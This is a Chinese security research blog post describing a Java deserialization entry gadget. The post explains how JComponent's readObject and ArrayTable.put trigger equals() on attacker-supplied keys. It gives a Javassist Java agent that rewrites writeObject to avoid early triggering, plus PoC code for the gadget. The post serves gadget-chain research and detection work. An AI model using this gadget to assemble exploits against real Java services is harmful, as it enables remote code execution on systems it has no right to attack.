基于动态Agent注入挖掘Java反序列化入口

前言

分享下最近Java GC检测工作的相关收获(其实也是为了证明某些链不是误报而绞尽脑汁,主要依靠Java的动态Agent技术修改writeObject流程

好用的ArrayTable

你是否还在为了想用HashMap触发equals方法而为hashCode所困?那么JComponent这个类就可以帮到你。

我们看一下这个类的readObject方法:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
private void readObject(ObjectInputStream s)
throws IOException, ClassNotFoundException
{
s.defaultReadObject();
ReadObjectCallback cb = readObjectCallbacks.get(s);
if (cb == null) {
try {
readObjectCallbacks.put(s, cb = new ReadObjectCallback(s));
}
catch (Exception e) {
throw new IOException(e.toString());
}
}
cb.registerComponent(this);

// Read back the client properties.
int cpCount = s.readInt();
if (cpCount > 0) {
clientProperties = new ArrayTable();
for (int counter = 0; counter < cpCount; counter++) {
clientProperties.put(s.readObject(),
s.readObject());
}
}
if (getToolTipText() != null) {
ToolTipManager.sharedInstance().registerComponent(this);
}
setWriteObjCounter(this, (byte)0);
}

其也是循环的读取键值对,然后调用放入到ArrayTable中,我们看看ArrayTable的put方法:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
public void put(Object key, Object value){
if (table==null) {
table = new Object[] {key, value};
} else {
int size = size();
if (size < ARRAY_BOUNDARY) { // We are an array
if (containsKey(key)) {
Object[] tmp = (Object[])table;
for (int i = 0; i<tmp.length-1; i+=2) {
if (tmp[i].equals(key)) {
tmp[i+1]=value;
break;
}
}
} else {
Object[] array = (Object[])table;
int i = array.length;
Object[] tmp = new Object[i+2];
System.arraycopy(array, 0, tmp, 0, i);

tmp[i] = key;
tmp[i+1] = value;
table = tmp;
}
} else { // We are a hashtable
if ((size==ARRAY_BOUNDARY) && isArray()) {
grow();
}
((Hashtable<Object,Object>)table).put(key, value);
}
}
}

如果containsKey的话则会触发equals比较,那我们先看看containsKey怎么做的:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
public boolean containsKey(Object key) {
boolean contains = false;
if (table !=null) {
if (isArray()) {
Object[] array = (Object[])table;
for (int i = 0; i<array.length-1; i+=2) {
if (array[i].equals(key)) {
contains = true;
break;
}
}
} else {
contains = ((Hashtable)table).containsKey(key);
}
}
return contains;
}

emm,直接就是key的比较,OK,大功告成(不是

其实如果你这么构造一下POC的话,你就会发现在writeObject提前触发了equals方法,所以导致最后无法利用

1
2
3
4
5
6
7
8
9
10
11
private void writeObject(ObjectOutputStream s) throws IOException {
s.defaultWriteObject();
if (getUIClassID().equals(uiClassID)) {
byte count = JComponent.getWriteObjCounter(this);
JComponent.setWriteObjCounter(this, --count);
if (count == 0 && ui != null) {
ui.installUI(this);
}
}
ArrayTable.writeArrayTable(s, clientProperties);
}

主要在writeArrayTable方法中:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
static void writeArrayTable(ObjectOutputStream s, ArrayTable table) throws IOException {
Object keys[];

if (table == null || (keys = table.getKeys(null)) == null) {
s.writeInt(0);
}
else {
int validCount = 0;

for (int counter = 0; counter < keys.length; counter++) {
Object key = keys[counter];

/* include in Serialization when both keys and values are Serializable */
if ( (key instanceof Serializable
&& table.get(key) instanceof Serializable)
||
/* include these only so that we get the appropriate exception below */
(key instanceof ClientPropertyKey
&& ((ClientPropertyKey)key).getReportValueNotSerializable())) {

validCount++;
} else {
keys[counter] = null;
}
}
// Write ou the Serializable key/value pairs.
s.writeInt(validCount);
if (validCount > 0) {
for (Object key : keys) {
if (key != null) {
s.writeObject(key);
s.writeObject(table.get(key));
if (--validCount == 0) {
break;
}
}
}
}
}
}

可以看到是按pair写入的,主要问题在于table.get方法:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
public Object get(Object key) {
Object value = null;
if (table !=null) {
if (isArray()) {
Object[] array = (Object[])table;
for (int i = 0; i<array.length-1; i+=2) {
if (array[i].equals(key)) {
value = array[i+1];
break;
}
}
} else {
value = ((Hashtable)table).get(key);
}
}
return value;
}

这里触发了key的equals方法,所以有什么办法吗,我们看这个ArrayTable类的table属性其实可以为Object数组,那我们直接模仿逻辑挨个写入也可以把,因此我就用到了Java动态Agent技术修改其writeObject流程,具体代码如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
public byte[] transform(final ClassLoader loader, final String className, final Class<?> classBeingRedefined, final ProtectionDomain protectionDomain, final byte[] classfileBuffer) {
if (className.equals("javax/swing/JComponent")) {
try {
ClassPool classPool = ClassPool.getDefault();
CtClass jClazz = classPool.get("javax.swing.JComponent");
CtMethod w = jClazz.getMethod("writeObject", "(Ljava/io/ObjectOutputStream;)V");
String methodBody = "{" +
"$1.defaultWriteObject();" +
"$1.writeInt(2);" +
"try {" +
"Class clz = $0.clientProperties.getClass();" +
"java.lang.reflect.Field field = clz.getDeclaredField(\"table\");" +
"field.setAccessible(true);" +
"Object[] table = (Object[]) field.get($0.clientProperties);" +
"for (int i = 0; i < 4; i++) {" +
"$1.writeObject(table[i]);" +
"}" +
"}" +
"catch (Exception ex) {}" +
"}";
w.setBody(methodBody);
byte[] byteCode = jClazz.toBytecode();
jClazz.detach();
return byteCode;
} catch (Exception ex) {
ex.printStackTrace();
}
}
return null;
}

因此最后的Source Gadget就可以这么写(运行时加上javaagent注入选项

1
2
3
4
5
6
7
8
JPanel j = new JPanel();
Class atClass = Class.forName("javax.swing.ArrayTable");
Object arrayTable = ReflectionUtil.createWithoutConstructor(atClass);
Object[] table = new Object[]{o1, "1", o2, "2"};

ReflectionUtil.setField(arrayTable, "table", table);
ReflectionUtil.setField(j, "clientProperties", arrayTable);
SerializeUtil.deserialize(SerializeUtil.serialize(j));

结尾

类似的还有比如AbstractAction,actionMap等,其都是用到了ArrayTable类,这里就不具体分析了,当然还有一些能触发动态代理的入口,不过一般也没什么用(除非存在invoke到sink的流程),这里也就不写了,期待大家也可以发现更多